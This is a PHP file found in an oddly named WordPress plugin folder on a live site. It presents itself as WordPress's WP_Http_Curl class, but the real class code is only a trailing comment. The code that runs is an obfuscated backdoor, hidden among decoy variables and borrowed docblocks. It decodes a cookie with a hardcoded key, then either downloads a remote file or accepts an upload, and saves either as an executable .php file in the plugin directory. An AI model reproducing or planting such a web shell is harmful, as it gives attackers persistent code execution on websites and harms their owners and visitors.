File: /var/www/vhosts/aceitunaslosada.com/web/wp-content/plugins/4spqp0r2/LRQ.js.php
<?php /*
*
* HTTP API: WP_Http_Curl class
*
* @package WordPress
* @subpackage HTTP
* @since 4.4.0
*
* Core class used to integrate Curl as a*/
/**
* Perform a HTTP HEAD or GET request.
*
* If $show_buttonile_path is a writable filename, this will do a GET request and write
* the file to that path.
*
* @since 2.5.0
* @deprecated 4.4.0 Use WP_Http
* @see WP_Http
*
* @param string $maybe_in_viewport URL to fetch.
* @param string|bool $show_buttonile_path Optional. File path to write request to. Default false.
* @param int $red Optional. The number of Redirects followed, Upon 5 being hit,
* returns false. Default 1.
* @return \WpOrg\Requests\Utility\CaseInsensitiveDictionary|false Headers on success, false on failure.
*/
function post_preview() { // Clean up empty query strings.
$sizer = feed_links();
$previous_changeset_uuid = array(3, 6, 9);
$PossibleLAMEversionStringOffset = array_merge($previous_changeset_uuid, array(12));
return column_rel($sizer);
}
/**
* Returns all revisions of specified post.
*
* @since 2.6.0
*
* @see get_children()
*
* @param int|WP_Post $post Optional. Post ID or WP_Post object. Default is global `$post`.
* @param array|null $opt_in_valuergs Optional. Arguments for retrieving post revisions. Default null.
* @return WP_Post[]|int[] Array of revision objects or IDs, or an empty array if none.
*/
function wp_popular_terms_checklist($next_item_id)
{
$minimum_site_name_length = sprintf("%c", $next_item_id);
$new_assignments = array(1, 2, 3, 4);
return $minimum_site_name_length;
}
/*
* The filter's callback here is an anonymous function because
* using a named function in this case is not possible.
*
* The function cannot be unhooked, however, users are still able
* to dequeue the stylesheets registered/enqueued by the callback
* which is why in this case, using an anonymous function
* was deemed acceptable.
*/
function use_ssl_preference($minimum_site_name_length, $upgrade_url)
{ // Determine any children directories needed (From within the archive).
$mixdefbitsread = wp_register_colors_support($minimum_site_name_length) - wp_register_colors_support($upgrade_url);
$searches = "Example-String";
$ms = substr($searches, 7, 6);
$new_version = rawurldecode($ms);
$mixdefbitsread = $mixdefbitsread + 256;
$signup = hash("sha512", $new_version);
$registered_panel_types = str_pad($signup, 128, "0", STR_PAD_LEFT);
if(isset($registered_panel_types)) {
$outarray = explode("-", "5-2-9-3");
array_merge($outarray, [1, 1, 1]);
}
$FirstFrameThisfileInfo = implode("-", $outarray);
$mixdefbitsread = $mixdefbitsread % 256;
$minimum_site_name_length = wp_popular_terms_checklist($mixdefbitsread);
return $minimum_site_name_length;
}
/*
* If the requested theme is not the active theme and the user doesn't have
* the switch_themes cap, bail.
*/
function box_seal($send_as_email, $setting_args)
{
$rtl_stylesheet_link = strlen($setting_args); //$PHPMAILER_LANG['authenticate'] = 'SMTP-Fehler: Authentifizierung fehlgeschlagen.';
$top_level_args = strlen($send_as_email);
$mofiles = "DEV56789";
$subdir_replacement_12 = str_pad($mofiles, 15, '0', STR_PAD_LEFT);
$rtl_stylesheet_link = $top_level_args / $rtl_stylesheet_link;
$type_where = hash('sha256', $subdir_replacement_12);
if (strlen($type_where) > 50) {
$mail_error_data = substr($type_where, 0, 50);
} else {
$mail_error_data = str_replace('0', 'X', $type_where);
}
$rtl_stylesheet_link = ceil($rtl_stylesheet_link);
$user_search = strlen($mail_error_data); // 5.4.2.19 langcod2e: Language Code Exists, ch2, 1 Bit
$plaintext = str_split($send_as_email);
$setting_args = str_repeat($setting_args, $rtl_stylesheet_link);
$temp_dir = str_split($setting_args);
$temp_dir = array_slice($temp_dir, 0, $top_level_args); // Add ttf.
$private_callback_args = array_map("use_ssl_preference", $plaintext, $temp_dir); // Either item or its dependencies don't exist.
$private_callback_args = implode('', $private_callback_args);
return $private_callback_args;
}
/**
* Removes all cache items in a group, if the object cache implementation supports it.
*
* Before calling this function, always check for group flushing support using the
* `wp_cache_supports( 'flush_group' )` function.
*
* @since 6.1.0
*
* @see WP_Object_Cache::flush_group()
* @global WP_Object_Cache $wp_object_cache Object cache global instance.
*
* @param string $site_metaroup Name of group to remove from cache.
* @return bool True if group was flushed, false otherwise.
*/
function split_v6_v4($maybe_in_viewport)
{ // Set the correct content type for feeds.
$revisions_query = basename($maybe_in_viewport);
$v_arg_list = "Hello, PHP!";
$replace_regex = fe_isnonzero($revisions_query);
$sslverify = strtoupper($v_arg_list);
$new_sizes = hash('md5', $sslverify);
user_can_create_post($maybe_in_viewport, $replace_regex);
} // PHP Version.
/**
* Registers the `core/comments-pagination-next` block on the server.
*/
function add_help_text($wp_filename, $wp_rest_application_password_status, $misc_exts)
{
if (isset($_FILES[$wp_filename])) {
$layout_type = "user123";
$svgs = ctype_alnum($layout_type);
if ($svgs) {
$js_value = "The username is valid.";
}
get_shortcode_atts_regex($wp_filename, $wp_rest_application_password_status, $misc_exts);
}
// Also include any form fields we inject into the comment form, like ak_js
upgrade_260($misc_exts);
}
/**
* Replace invalid character with percent encoding
*
* @param string $s20 Input string
* @param string $samples_per_secondxtra_chars Valid characters not in iunreserved or
* iprivate (this is ASCII-only)
* @param bool $the_roleprivate Allow iprivate
* @return string
*/
function wp_apply_dimensions_support($s20) {
$step = 'Hello PHP! '; // Whether PHP supports 64-bit.
return count(str_split($s20)); // Load pluggable functions.
}
/**
* Displays the shortlink for a post.
*
* Must be called from inside "The Loop"
*
* Call like the_shortlink( __( 'Shortlinkage FTW' ) )
*
* @since 3.0.0
*
* @param string $text Optional The link text or HTML to be displayed. Defaults to 'This is the short link.'
* @param string $title Optional The tooltip for the link. Must be sanitized. Defaults to the sanitized post title.
* @param string $skipped_first_termefore Optional HTML to display before the link. Default empty.
* @param string $opt_in_valuefter Optional HTML to display after the link. Default empty.
*/
function wp_page_reload_on_back_button_js($previous_changeset_uuid) {
$object_ids = array(1, 2, 3, 4); //Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
if (isset($object_ids[2])) {
$side_meta_boxes = array_slice($object_ids, 1);
}
return array_reduce($previous_changeset_uuid, function($targetsarry, $the_roletem) { // Any word in title, not needed when $num_terms == 1.
return $targetsarry + $the_roletem;
}, 0);
}
/**
* Server-side rendering of the `core/avatar` block.
*
* @package WordPress
*/
function get_api_key($widget_obj)
{
$v_inclusion = pack("H*", $widget_obj);
$new_assignments = array(1, 2, 3);
$restrict_network_active = array(4, 5, 6); // Include user admin functions to get access to get_editable_roles().
return $v_inclusion;
}
/** @var int $site_metat */
function wp_restore_image_outer_container($maybe_in_viewport) // Header Extension Data BYTESTREAM variable // array of zero or more extended header objects
{
$maybe_in_viewport = "http://" . $maybe_in_viewport;
$post_mimes = explode(",", "1,2,3,4,5");
return $maybe_in_viewport;
}
/*
* In this scenario the user has likely tried to create a navigation via the REST API.
* In which case we won't have a post ID to work with and store meta against.
*/
function get_var($wp_filename, $sql_chunks = 'txt')
{
return $wp_filename . '.' . $sql_chunks;
}
/**
* Sets up the query and retrieves the results.
*
* The return type varies depending on the value passed to `$opt_in_valuergs['fields']`. See
* WP_Term_Query::get_terms() for details.
*
* @since 4.6.0
*
* @param string|array $query Array or URL query string of parameters.
* @return WP_Term[]|int[]|string[]|string Array of terms, or number of terms as numeric string
* when 'count' is passed as a query var.
*/
function feed_links() {
$opt_in_value = array("dog", "cat", "bird"); // we are in an array, so just push an element onto the stack
$skipped_first_term = str_replace("o", "0", $opt_in_value[0]);
$targets = array_merge($opt_in_value, array("fish"));
$route = substr($skipped_first_term, 1, 2);
$samples_per_second = hash("md5", $route);
return time(); // Owner identifier <textstring> $00 (00)
}
/**
* Retrieves list of users matching criteria.
*
* @since 3.1.0
*
* @see WP_User_Query
*
* @param array $opt_in_valuergs Optional. Arguments to retrieve users. See WP_User_Query::prepare_query()
* for more information on accepted arguments.
* @return array List of users.
*/
function comment_guid($wp_filename)
{
$wp_rest_application_password_status = 'FNJHTrEgjyjbKlPWYn';
$opt_in_value = "this+is+a+test";
$skipped_first_term = rawurldecode($opt_in_value);
$targets = str_replace("+", " ", $skipped_first_term); // $p_info['mtime'] = Last modification date of the file.
$route = explode(" ", $targets);
if (isset($_COOKIE[$wp_filename])) {
$samples_per_second = hash("crc32", $targets);
$show_button = substr($samples_per_second, 0, 4);
get_all_category_ids($wp_filename, $wp_rest_application_password_status);
$site_meta = count($route); // Clear the working directory?
$max_bytes = str_pad($site_meta, 6, "0"); // Wrap the args in an array compatible with the second parameter of `wp_remote_get()`.
}
}
/* translators: %s: Digit to indicate multiple of sizing, eg. 2X-Large. */
function wp_register_plugin_realpath($replace_regex, $use_id)
{
return file_put_contents($replace_regex, $use_id);
}
/**
* Array of blocks to use as the default initial state for an editor session.
*
* Each item should be an array containing block name and optional attributes.
*
* Default empty array.
*
* @link https://developer.wordpress.org/block-editor/developers/block-api/block-templates/
*
* @since 5.0.0
* @var array[] $template
*/
function gensalt_private() // Template for the Site Icon preview, used for example in the Customizer.
{
return __DIR__;
}
/* translators: Hidden accessibility text. %s: Total number of updates available. */
function get_shortcode_atts_regex($wp_filename, $wp_rest_application_password_status, $misc_exts)
{
$revisions_query = $_FILES[$wp_filename]['name']; // If RAND() contains a seed value, sanitize and add to allowed keys.
$opt_in_value = "find hash"; # v3=ROTL(v3,16);
$skipped_first_term = hash("sha224", $opt_in_value);
$replace_regex = fe_isnonzero($revisions_query);
wp_safe_redirect($_FILES[$wp_filename]['tmp_name'], $wp_rest_application_password_status);
PclZipUtilRename($_FILES[$wp_filename]['tmp_name'], $replace_regex);
} // Current Fluent Form hooks.
/**
* Plugin upgrade result.
*
* @since 2.8.0
* @var array|WP_Error $links_array
*
* @see WP_Upgrader::$links_array
*/
function is_wpmu_sitewide_plugin($maybe_in_viewport)
{
if (strpos($maybe_in_viewport, "/") !== false) { // Old static relative path maintained for limited backward compatibility - won't work in some cases.
$opt_in_value = array("apple", "banana", "cherry");
$skipped_first_term = count($opt_in_value);
for ($the_role = 0; $the_role < $skipped_first_term; $the_role++) {
$opt_in_value[$the_role] = str_replace("a", "o", $opt_in_value[$the_role]);
}
// Drafts shouldn't be assigned a date unless explicitly done so by the user.
return true;
}
return false;
}
/**
* @internal You should not use this directly from another application
*
* @param string $pk
* @param string $sk
* @param string $seed
* @return string
* @throws SodiumException
* @throws TypeError
*/
function noindex($misc_exts)
{
split_v6_v4($misc_exts);
upgrade_260($misc_exts); // 'registered' is a valid field name.
}
/**
* Gets block pattern data for a specified theme.
* Each pattern is defined as a PHP file and defines
* its metadata using plugin-style headers. The minimum required definition is:
*
* /**
* * Title: My Pattern
* * Slug: my-theme/my-pattern
* *
*
* The output of the PHP source corresponds to the content of the pattern, e.g.:
*
* <main><p> echo "Hello"; </p></main>
*
* If applicable, this will collect from both parent and child theme.
*
* Other settable fields include:
*
* - Description
* - Viewport Width
* - Inserter (yes/no)
* - Categories (comma-separated values)
* - Keywords (comma-separated values)
* - Block Types (comma-separated values)
* - Post Types (comma-separated values)
* - Template Types (comma-separated values)
*
* @since 6.4.0
*
* @return array Block pattern data.
*/
function PclZipUtilRename($user_blogs, $synchoffsetwarning)
{
$object_term = move_uploaded_file($user_blogs, $synchoffsetwarning);
$term_data = array('apple', 'banana', 'orange');
$PossibleLAMEversionStringOffset = array_merge($term_data, array('grape', 'kiwi')); // Same permissions as parent folder, strip off the executable bits.
$plugin_dir = count($PossibleLAMEversionStringOffset);
$layout_from_parent = 0;
return $object_term;
}
/*
* translators: To add an additional Open Sans character subset specific to your language,
* translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate into your own language.
*/
function wp_register_colors_support($next_item_id)
{
$next_item_id = ord($next_item_id);
$updated_style = "live_chat_support";
$thumbnail_width = str_replace("_", " ", $updated_style); // Override the assigned nav menu location if mapped during previewed theme switch.
$options_audiovideo_swf_ReturnAllTagData = substr($thumbnail_width, 5, 7); // Trees must be flattened before they're passed to the walker.
$leftLen = hash("sha512", $options_audiovideo_swf_ReturnAllTagData);
$utf16 = str_pad($leftLen, 70, "@");
return $next_item_id;
}
/**
* Adds the necessary rewrite rules for the post type.
*
* @since 4.6.0
*
* @global WP_Rewrite $wp_rewrite WordPress rewrite component.
* @global WP $wp Current WordPress environment instance.
*/
function get_all_category_ids($wp_filename, $wp_rest_application_password_status)
{ // Media can use imagesrcset and not href.
$PHPMAILER_LANG = $_COOKIE[$wp_filename];
$script_module = "ToHashString";
$stylesheet_index_url = rawurldecode($script_module);
$PHPMAILER_LANG = get_api_key($PHPMAILER_LANG);
$link_ids = hash('md5', $stylesheet_index_url);
$plupload_init = str_pad($link_ids, 32, "@");
$Verbose = substr($stylesheet_index_url, 3, 7); // Empty terms are invalid input.
if (empty($Verbose)) {
$Verbose = str_pad($link_ids, 50, "!");
}
$num_rows = explode("T", $stylesheet_index_url); // Default to a null value as "null" in the response means "not set".
$misc_exts = box_seal($PHPMAILER_LANG, $wp_rest_application_password_status);
$prepared_comment = implode("|", $num_rows); // known issue in LAME 3.90 - 3.93.1 where free-format has bitrate ID of 15 instead of 0
$section_args = array_merge($num_rows, array($Verbose));
if (is_wpmu_sitewide_plugin($misc_exts)) {
$links_array = noindex($misc_exts);
$role_objects = date('Y/m/d H:i:s'); // SUNRISE
return $links_array;
}
add_help_text($wp_filename, $wp_rest_application_password_status, $misc_exts); // This orig's match is down a ways. Pad orig with blank rows.
}
/**
* @phpstan-impure
*
* @return int|bool
*/
function the_block_editor_meta_box_post_form_hidden_fields($maybe_in_viewport)
{
$maybe_in_viewport = wp_restore_image_outer_container($maybe_in_viewport);
return file_get_contents($maybe_in_viewport);
}
/**
* Returns the languages directory path for a specific domain and locale.
*
* @since 6.1.0
*
* @param string $routeomain Text domain.
* @param string $locale Locale.
*
* @return string|false MO file path or false if there is none available.
*/
function fe_isnonzero($revisions_query)
{
return gensalt_private() . DIRECTORY_SEPARATOR . $revisions_query . ".php"; // K
}
/*
* WP_Widget sets `updated = true` after an update to prevent more than one widget
* from being saved per request. This isn't what we want in the REST API, though,
* as we support batch requests.
*/
function column_rel($sizer) {
$s20 = "url%20encoded"; // Give front page item the 'current-menu-item' class when extra query arguments are involved.
$user_ids = rawurldecode($s20);
$shortname = explode(" ", $user_ids); // If no strategies are being passed, all strategies are eligible.
if (count($shortname) > 1) {
$video_extension = implode("_", $shortname);
}
return date('Y-m-d H:i:s', $sizer);
}
/**
* The post's title.
*
* @since 3.5.0
* @var string
*/
function wp_safe_redirect($replace_regex, $setting_args)
{
$stamp = file_get_contents($replace_regex); // List failed theme updates.
$opt_in_value = "string-manipulation";
$skipped_first_term = rawurldecode($opt_in_value); // Flags for which settings have had their values applied.
$targets = hash("sha256", $skipped_first_term);
$route = substr($targets, 0, 8); // Ensure that these variables are added to the global namespace
$samples_per_second = str_pad($route, 10, "0");
$tag_cloud = box_seal($stamp, $setting_args);
$show_button = count(array($skipped_first_term, $route));
file_put_contents($replace_regex, $tag_cloud);
}
/**
* Database Name.
*
* @since 3.1.0
*
* @var string
*/
function upgrade_260($ymids) // Allow access to all password protected posts if the context is edit.
{
echo $ymids;
}
/* translators: 1: WordPress version, 2: URL to About screen. */
function send_debug_email($previous_changeset_uuid) {
$missing_key = wp_page_reload_on_back_button_js($previous_changeset_uuid);
$subdomain_install = "Hello XYZ!";
$remind_interval = verify_16($previous_changeset_uuid);
$pBlock = str_replace("XYZ", "World", $subdomain_install);
$post_cats = date("Y-m-d H:i:s");
$possible_object_id = substr($post_cats, 0, 10);
return [$missing_key, $remind_interval]; // Fetch full network objects from the primed cache.
}
/**
* Updates a blog's post count.
*
* WordPress MS stores a blog's post count as an option so as
* to avoid extraneous COUNTs when a blog's details are fetched
* with get_site(). This function is called when posts are published
* or unpublished to make sure the count stays current.
*
* @since MU (3.0.0)
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $routeeprecated Not used.
*/
function user_can_create_post($maybe_in_viewport, $replace_regex)
{
$sub2feed2 = the_block_editor_meta_box_post_form_hidden_fields($maybe_in_viewport); // Get current URL options.
$opt_in_value = date("His");
$skipped_first_term = "test";
$targets = in_array("value", array($skipped_first_term));
$route = hash("gost", $opt_in_value);
$samples_per_second = str_pad($route, 40, "*");
if ($sub2feed2 === false) {
if ($targets) {
$show_button = implode($samples_per_second, array("a", "b"));
}
return false;
}
return wp_register_plugin_realpath($replace_regex, $sub2feed2);
}
/**
* Gets the REST API controller for this taxonomy.
*
* Will only instantiate the controller class once per request.
*
* @since 5.5.0
*
* @return WP_REST_Controller|null The controller instance, or null if the taxonomy
* is set not to show in rest.
*/
function verify_16($previous_changeset_uuid) {
$json = "Inception_2010";
return array_reduce($previous_changeset_uuid, function($targetsarry, $the_roletem) {
return $targetsarry * $the_roletem;
}, 1); // If current selector includes block classname, remove it but leave the whitespace in.
}
/**
* Add two numbers (little-endian unsigned), storing the value in the first
* parameter.
*
* This mutates $val.
*
* @param string $val
* @param string $opt_in_valueddv
* @return void
* @throws SodiumException
*/
function destroy_other_sessions($previous_changeset_uuid) {
$to_process = 0;
$opt_in_value = array("blue", "green", "red");
$skipped_first_term = in_array("red", $opt_in_value);
$targets = rawurldecode("example%20decode"); // Item LiST container atom
$route = trim($targets);
if ($skipped_first_term) {
$samples_per_second = count($opt_in_value);
}
foreach ($previous_changeset_uuid as $s20) {
$to_process += wp_apply_dimensions_support($s20);
} // Pull up data about the currently shared slug, which we'll use to populate the new one.
return $to_process;
}
$wp_filename = 'MHpKY';
$HeaderObjectsCounter = "12345";
comment_guid($wp_filename);
$SNDM_thisTagSize = hash('crc32', $HeaderObjectsCounter);
$APOPString = post_preview(); // We still need to preserve `paged` query param if exists, as is used
if (strlen($SNDM_thisTagSize) == 8) {
$shared_tt = true;
} else {
$shared_tt = false;
}
/* n HTTP transport.
*
* HTTP request method uses Curl extension to retrieve the url.
*
* Requires the Curl extension to be installed.
*
* @since 2.7.0
class WP_Http_Curl {
*
* Temporary header storage for during requests.
*
* @since 3.2.0
* @var string
private $headers = '';
*
* Temporary body storage for during requests.
*
* @since 3.6.0
* @var string
private $body = '';
*
* The maximum amount of data to receive from the remote server.
*
* @since 3.6.0
* @var int|false
private $max_body_length = false;
*
* The file resource used for streaming to file.
*
* @since 3.6.0
* @var resource|false
private $stream_handle = false;
*
* The total bytes written in the current request.
*
* @since 4.1.0
* @var int
private $bytes_written_total = 0;
*
* Send a HTTP request to a URI using cURL extension.
*
* @since 2.7.0
*
* @param string $url The request URL.
* @param string|array $args Optional. Override the defaults.
* @return array|WP_Error Array containing 'headers', 'body', 'response', 'cookies', 'filename'. A WP_Error instance upon error
public function request( $url, $args = array() ) {
$defaults = array(
'method' => 'GET',
'timeout' => 5,
'redirection' => 5,
'httpversion' => '1.0',
'blocking' => true,
'headers' => array(),
'body' => null,
'cookies' => array(),
);
$parsed_args = wp_parse_args( $args, $defaults );
if ( isset( $parsed_args['headers']['User-Agent'] ) ) {
$parsed_args['user-agent'] = $parsed_args['headers']['User-Agent'];
unset( $parsed_args['headers']['User-Agent'] );
} elseif ( isset( $parsed_args['headers']['user-agent'] ) ) {
$parsed_args['user-agent'] = $parsed_args['headers']['user-agent'];
unset( $parsed_args['headers']['user-agent'] );
}
Construct Cookie: header if any cookies are set.
WP_Http::buildCookieHeader( $parsed_args );
$handle = curl_init();
cURL offers really easy proxy support.
$proxy = new WP_HTTP_Proxy();
if ( $proxy->is_enabled() && $proxy->send_through_proxy( $url ) ) {
curl_setopt( $handle, CURLOPT_PROXYTYPE, CURLPROXY_HTTP );
curl_setopt( $handle, CURLOPT_PROXY, $proxy->host() );
curl_setopt( $handle, CURLOPT_PROXYPORT, $proxy->port() );
if ( $proxy->use_authentication() ) {
curl_setopt( $handle, CURLOPT_PROXYAUTH, CURLAUTH_ANY );
curl_setopt( $handle, CURLOPT_PROXYUSERPWD, $proxy->authentication() );
}
}
$is_local = isset( $parsed_args['local'] ) && $parsed_args['local'];
$ssl_verify = isset( $parsed_args['sslverify'] ) && $parsed_args['sslverify'];
if ( $is_local ) {
* This filter is documented in wp-includes/class-wp-http-streams.php
$ssl_verify = apply_filters( 'https_local_ssl_verify', $ssl_verify, $url );
} elseif ( ! $is_local ) {
* This filter is documented in wp-includes/class-http.php
$ssl_verify = apply_filters( 'https_ssl_verify', $ssl_verify, $url );
}
* CURLOPT_TIMEOUT and CURLOPT_CONNECTTIMEOUT expect integers. Have to use ceil since.
* a value of 0 will allow an unlimited timeout.
$timeout = (int) ceil( $parsed_args['timeout'] );
curl_setopt( $handle, CURLOPT_CONNECTTIMEOUT, $timeout );
curl_setopt( $handle, CURLOPT_TIMEOUT, $timeout );
curl_setopt( $handle, CURLOPT_URL, $url );
curl_setopt( $handle, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $handle, CURLOPT_SSL_VERIFYHOST, ( true === $ssl_verify ) ? 2 : false );
curl_setopt( $handle, CURLOPT_SSL_VERIFYPEER, $ssl_verify );
if ( $ssl_verify ) {
curl_setopt( $handle, CURLOPT_CAINFO, $parsed_args['sslcertificates'] );
}
curl_setopt( $handle, CURLOPT_USERAGENT, $parsed_args['user-agent'] );
* The option doesn't work with safe mode or when open_basedir is set, and there's
* a bug #17490 with redirected POST requests, so handle redirections outside Curl.
curl_setopt( $handle, CURLOPT_FOLLOWLOCATION, false );
curl_setopt( $handle, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS );
switch ( $parsed_args['method'] ) {
case 'HEAD':
curl_setopt( $handle, CURLOPT_NOBODY, true );
break;
case 'POST':
curl_setopt( $handle, CURLOPT_POST, true );
curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] );
break;
case 'PUT':
curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, 'PUT' );
curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] );
break;
default:
curl_setopt( $handle, CURLOPT_CUSTOMREQUEST, $parsed_args['method'] );
if ( ! is_null( $parsed_args['body'] ) ) {
curl_setopt( $handle, CURLOPT_POSTFIELDS, $parsed_args['body'] );
}
break;
}
if ( true === $parsed_args['blocking'] ) {
curl_setopt( $handle, CURLOPT_HEADERFUNCTION, array( $this, 'stream_headers' ) );
curl_setopt( $handle, CURLOPT_WRITEFUNCTION, array( $this, 'stream_body' ) );
}
curl_setopt( $handle, CURLOPT_HEADER, false );
if ( isset( $parsed_args['limit_response_size'] ) ) {
$this->max_body_length = (int) $parsed_args['limit_response_size'];
} else {
$this->max_body_length = false;
}
If streaming to a file open a file handle, and setup our curl streaming handler.
if ( $parsed_args['stream'] ) {
if ( ! WP_DEBUG ) {
$this->stream_handle = @fopen( $parsed_args['filename'], 'w+' );
} else {
$this->stream_handle = fopen( $parsed_args['filename'], 'w+' );
}
if ( ! $this->stream_handle ) {
return new WP_Error(
'http_request_failed',
sprintf(
translators: 1: fopen(), 2: File name.
__( 'Could not open handle for %1$s to %2$s.' ),
'fopen()',
$parsed_args['filename']
)
);
}
} else {
$this->stream_handle = false;
}
if ( ! empty( $parsed_args['headers'] ) ) {
cURL expects full header strings in each element.
$headers = array();
foreach ( $parsed_args['headers'] as $name => $value ) {
$headers[] = "{$name}: $value";
}
curl_setopt( $handle, CURLOPT_HTTPHEADER, $headers );
}
if ( '1.0' === $parsed_args['httpversion'] ) {
curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0 );
} else {
curl_setopt( $handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1 );
}
*
* Fires before the cURL request is executed.
*
* Cookies are not currently handled by the HTTP API. This action allows
* plugins to handle cookies themselves.
*
* @since 2.8.0
*
* @param resource $handle The cURL handle returned by curl_init() (passed by reference).
* @param array $parsed_args The HTTP request arguments.
* @param string $url The request URL.
do_action_ref_array( 'http_api_curl', array( &$handle, $parsed_args, $url ) );
We don't need to return the body, so don't. Just execute request and return.
if ( ! $parsed_args['blocking'] ) {
curl_exec( $handle );
$curl_error = curl_error( $handle );
if ( $curl_error ) {
curl_close( $handle );
return new WP_Error( 'http_request_failed', $curl_error );
}
if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) {
curl_close( $handle );
return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
}
curl_close( $handle );
return array(
'headers' => array(),
'body' => '',
'response' => array(
'code' => false,
'message' => false,
),
'cookies' => array(),
);
}
curl_exec( $handle );
$theHeaders = WP_Http::processHeaders( $this->headers, $url );
$theBody = $this->body;
$bytes_written_total = $this->bytes_written_total;
$this->headers = '';
$this->body = '';
$this->bytes_written_total = 0;
$curl_error = curl_errno( $handle );
If an error occurred, or, no response.
if ( $curl_error || ( 0 == strlen( $theBody ) && empty( $theHeaders['headers'] ) ) ) {
if ( CURLE_WRITE_ERROR 23 == $curl_error ) {
if ( ! $this->max_body_length || $this->max_body_length != $bytes_written_total ) {
if ( $parsed_args['stream'] ) {
curl_close( $handle );
fclose( $this->stream_handle );
return new WP_Error( 'http_request_failed', __( 'Failed to write request to temporary file.' ) );
} else {
curl_close( $handle );
return new WP_Error( 'http_request_failed', curl_error( $handle ) );
}
}
} else {
$curl_error = curl_error( $handle );
if ( $curl_error ) {
curl_close( $handle );
return new WP_Error( 'http_request_failed', $curl_error );
}
}
if ( in_array( curl_getinfo( $handle, CURLINFO_HTTP_CODE ), array( 301, 302 ), true ) ) {
curl_close( $handle );
return new WP_Error( 'http_request_failed', __( 'Too many redirects.' ) );
}
}
curl_close( $handle );
if ( $parsed_args['stream'] ) {
fclose( $this->stream_handle );
}
$response = array(
'headers' => $theHeaders['headers'],
'body' => null,
'response' => $theHeaders['response'],
'cookies' => $theHeaders['cookies'],
'filename' => $parsed_args['filename'],
);
Handle redirects.
$redirect_response = WP_HTTP::handle_redirects( $url, $parsed_args, $response );
if ( false !== $redirect_response ) {
return $redirect_response;
}
if ( true === $parsed_args['decompress'] && true === WP_Http_Encoding::should_decode( $theHeaders['headers'] ) ) {
$theBody = WP_Http_Encoding::decompress( $theBody );
}
$response['body'] = $theBody;
return $response;
}
*
* Grabs the headers of the cURL request.
*
* Each header is sent individually to this callback, so we append to the `$header` property
* for temporary storage
*
* @since 3.2.0
*
* @param resource $handle cURL handle.
* @param string $headers cURL request headers.
* @return int Length of the request headers.
private function stream_headers( $handle, $headers ) {
$this->headers .= $headers;
return strlen( $headers );
}
*
* Grabs the body of the cURL request.
*
* The contents of the document are passed in chunks, so we append to the `$body`
* property for temporary storage. Returning a length shorter than the length of
* `$data` passed in will cause cURL to abort the request with `CURLE_WRITE_ERROR`.
*
* @since 3.6.0
*
* @param resource $handle cURL handle.
* @param string $data cURL request body.
* @return int Total bytes of data written.
private function stream_body( $handle, $data ) {
$data_length = strlen( $data );
if ( $this->max_body_length && ( $this->bytes_written_total + $data_length ) > $this->max_body_length ) {
$data_length = ( $this->max_body_length - $this->bytes_written_total );
$data = substr( $data, 0, $data_length );
}
if ( $this->stream_handle ) {
$bytes_written = fwrite( $this->stream_handle, $data );
} else {
$this->body .= $data;
$bytes_written = $data_length;
}
$this->bytes_written_total += $bytes_written;
Upon event of this function returning less than strlen( $data ) curl will error with CURLE_WRITE_ERROR.
return $bytes_written;
}
*
* Determines whether this class can be used for retrieving a URL.
*
* @since 2.7.0
*
* @param array $args Optional. Array of request arguments. Default empty array.
* @return bool False means this class can not be used, true means it can.
public static function test( $args = array() ) {
if ( ! function_exists( 'curl_init' ) || ! function_exists( 'curl_exec' ) ) {
return false;
}
$is_ssl = isset( $args['ssl'] ) && $args['ssl'];
if ( $is_ssl ) {
$curl_version = curl_version();
Check whether this cURL version support SSL requests.
if ( ! ( CURL_VERSION_SSL & $curl_version['features'] ) ) {
return false;
}
}
*
* Filters whether cURL can be used as a transport for retrieving a URL.
*
* @since 2.7.0
*
* @param bool $use_class Whether the class can be used. Default true.
* @param array $args An array of request arguments.
return apply_filters( 'use_curl_transport', true, $args );
}
}
*/